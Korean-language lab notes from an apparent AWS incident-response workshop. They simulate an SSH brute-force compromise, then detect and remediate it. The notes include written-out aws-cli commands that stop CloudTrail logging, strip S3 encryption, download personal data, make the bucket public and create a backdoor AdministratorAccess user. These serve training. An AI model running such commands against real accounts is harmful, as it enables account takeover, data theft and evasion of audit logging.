sudo nmap -sT -Pn 10.0.0.15
앞서 hyrda로 찾은 id/pw를 가지고 victim의 iam 임시 자격증명을 가져오고, malware를 실행한다.
hydra 공격 이후 nacl 탐지로 인해 5분안에 실습을 마무리 해야된다
- 첫번째 시도때 잘못해서 인증키가 계속 만료됨… 결국 cloudformation 재설치함
./get-credential.sh
./set-credential.sh
./start-malware.sh
attacker가 stop-logging 명령어를 실행하여 로깅 중지
/usr/local/bin/aws cloudtrail stop-logging --name arn:aws:cloudtrail:ap-northeast-2:126935237846:trail/sir-workshop-trail --profile attacker
해당 cloudtrail 로깅중지 확인
/usr/local/bin/aws s3api list-objects --bucket sir-workshop-<account-id>-ap-northeast-2-data --profile attacker
/usr/local/bin/aws s3api delete-bucket-encryption --bucket sir-workshop-<account-id>-ap-northeast-2-data --profile attacker
/usr/local/bin/aws s3api get-object --bucket sir-workshop-<account-id>-ap-northeast-2-data --key profile-data.csv /home/ubuntu/profile-data.csv --profile attacker
/usr/local/bin/aws s3api get-object --bucket sir-workshop-<account-id>-ap-northeast-2-data --key employee-data.txt /home/ubuntu/employee-data.txt --profile attacker
/usr/local/bin/aws s3api put-bucket-acl --bucket sir-workshop-<account-id>-ap-northeast-2-data --grant-read uri=http://acs.amazonaws.com/groups/global/AllUsers --profile attacker
7 iam proxy 사용자 생성 및 관리자 권한 부여
/usr/local/bin/aws iam create-user --user-name proxy_user --profile attacker
/usr/local/bin/aws iam create-access-key --user-name proxy_user --profile attacker
/usr/local/bin/aws iam attach-user-policy --user-name proxy_user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile attacker
발견된 롤(sir-workshop-compromised-ec2)을 클릭하여 어디서 발생했는지 살펴본다.
- 새로운동작 탭
대시보드 하단에 새로 관찰된 api 호출 목록 확인
- cloudtrail, iam 부분
- 나머지 API들(UpdateInstanceInformation, ListInstanceAssociation, CreateThreatIntelSet, ListDetectors, PutRolePolicy)은 CloudFormation 템플릿 실행과정에서 이용했던 호출 이력
항목 | 탐지내역 |
---|---|
공격자 IP | 10.0.1.X |
공격 기법 | SSH BruteForce |
탐지 내역 1. | 멀웨어 활동 - DNS 쿼리기반 정보 유출시도 / 비트코인 관련 활동 |
탐지 내역 2. | IAM Role 탈취성공 |
탐지 내역 3. | AWS API 호출성공 - CloudTrail 로깅 무력 화 (ListTrails, DescribeTrails, StopLogging, DeleteTrail) |
탐지 내역 4. | AWS API 호출성공 - S3 버킷 설정 조작 (DeleteBucketEncryption, PutBucketAcl) |
탐지 내역 5. | AWS API 호출성공 - IAM User/엑세스키 생성 및 권한 조작 (CreateUser, CreateAccessKey, AttachUserPolicy) |
[Mon, day, timestamp, ip, id, msg1= Invalid, msg2 = user, ...]
[Mon, day, timestamp, ip, id, msg1= Accepted, msg2 = password, ...]
항목 | 침해 유형 | 관련 리소스 / 탐지 내역 |
---|---|---|
인스턴스 탈취 | IAM Role 자격증명 유출 | sir-workshop-compromised-ec2 |
멀웨어 활동 | Data exfiltration through DNS queries | |
멀웨어 활동 | Bitcoin-related domain name queried | |
중요 데이터 유출 | S3 버킷 Public Open | arn:aws:s3:::sir-workshop-(ACCOUNT_NUMBER}-ap-northeast-2-data |
S3 버킷 암호화 해제 | arn:aws:s3:::sir-workshop-(ACCOUNT_NUMBER}-ap-northeast-2-data | |
S3 객체 기밀정보 인터넷 유출 | config.py - Aws credentials(1건) | |
S3 객체 기밀정보 인터넷 유출 | employee-data.txt - 개인정보(Address 2건, Name 4건) / 금융정보(Credit Card Number 2건) | |
S3 객체 기밀정보 인터넷 유출 | profile-data.csv - 개인정보(Address 6건, Name 6건) / 금융정보(Credit Card Number 6건) | |
AWS 어카운트 탈취 | IAM user 생성 | proxy_user - 콘솔 사용 이력 없음 |
IAM user Accesskey 페어 생성 | 상기 4번에서 식별된 {AccessKeyId} - API 호출 이력 없음 | |
IAM user 권한 상승 | proxy_user - AdministratorAccess 권한 부여 |
cloudwatch의 이벤트 규칙을 확인해보자
s3 버킷 정책 편집
{
"Version": "2012-10-17",
"Id": "Policy1415115909152",
"Statement": [
{
"Sid": "Access-to-specific-VPCE-only",
"Principal": "*",
"Action": "s3:GetObject",
"Effect": "Deny",
"Resource": [
"arn:aws:s3:::sir-workshop-<account>-ap-northeast-2-data",
"arn:aws:s3:::sir-workshop-<account>-ap-northeast-2-data/*"
],
"Condition": {
"StringNotEquals": {
"aws:sourceVpce": "vpc endpoint입력 "
}
}
}
]
}
sudo yum update --security
#이후 묻는 질문에 y입력
다시 인스턴스 중지 후 시작.
inspector 평가템플릿으로 이동